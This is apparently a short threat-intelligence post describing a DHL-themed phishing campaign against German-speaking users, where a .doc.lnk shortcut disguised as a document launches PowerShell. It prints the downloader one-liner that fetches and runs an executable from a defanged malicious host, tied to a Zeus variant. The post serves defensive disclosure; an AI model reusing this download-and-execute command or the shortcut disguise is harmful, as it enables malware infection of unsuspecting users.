I have spotted DHL themed phishing campaign using Powershell as malware downloader. Here are some samples of the malicious downloader attachment from the phishing email:

Attachment has extension *.doc.zip file (to pretend to look like zippeddocument) and inside there is *.doc.lnk.
Instead of the MS office document there is windows shortcut (.lnk), but normal users will most probably see only ".doc", because the common setting on windows is to hide extension of known file types. Link file points to powershell binary and has download script as commandline parameter.
Powershell donwloader example:
(New-Object System.Net.WebClient).DownloadFile('hxxp://nov01mail.pw/bot.exe','%temp%\l.exe');(New-Object -com Shell.Application).ShellExecute('%temp%\l.exe');!%SystemRoot%\system32\SHELL32.dll
The phishing email targets on german speaking victims. Sample email here:

Some Samples - unfortunately the malware detection from AV vendors is quite unconclusive on the malware family, but according to abuse.ch it is some moddified version of Zeus so hopefully these will get tracked by ZeusTracker.abuse.ch at some point:
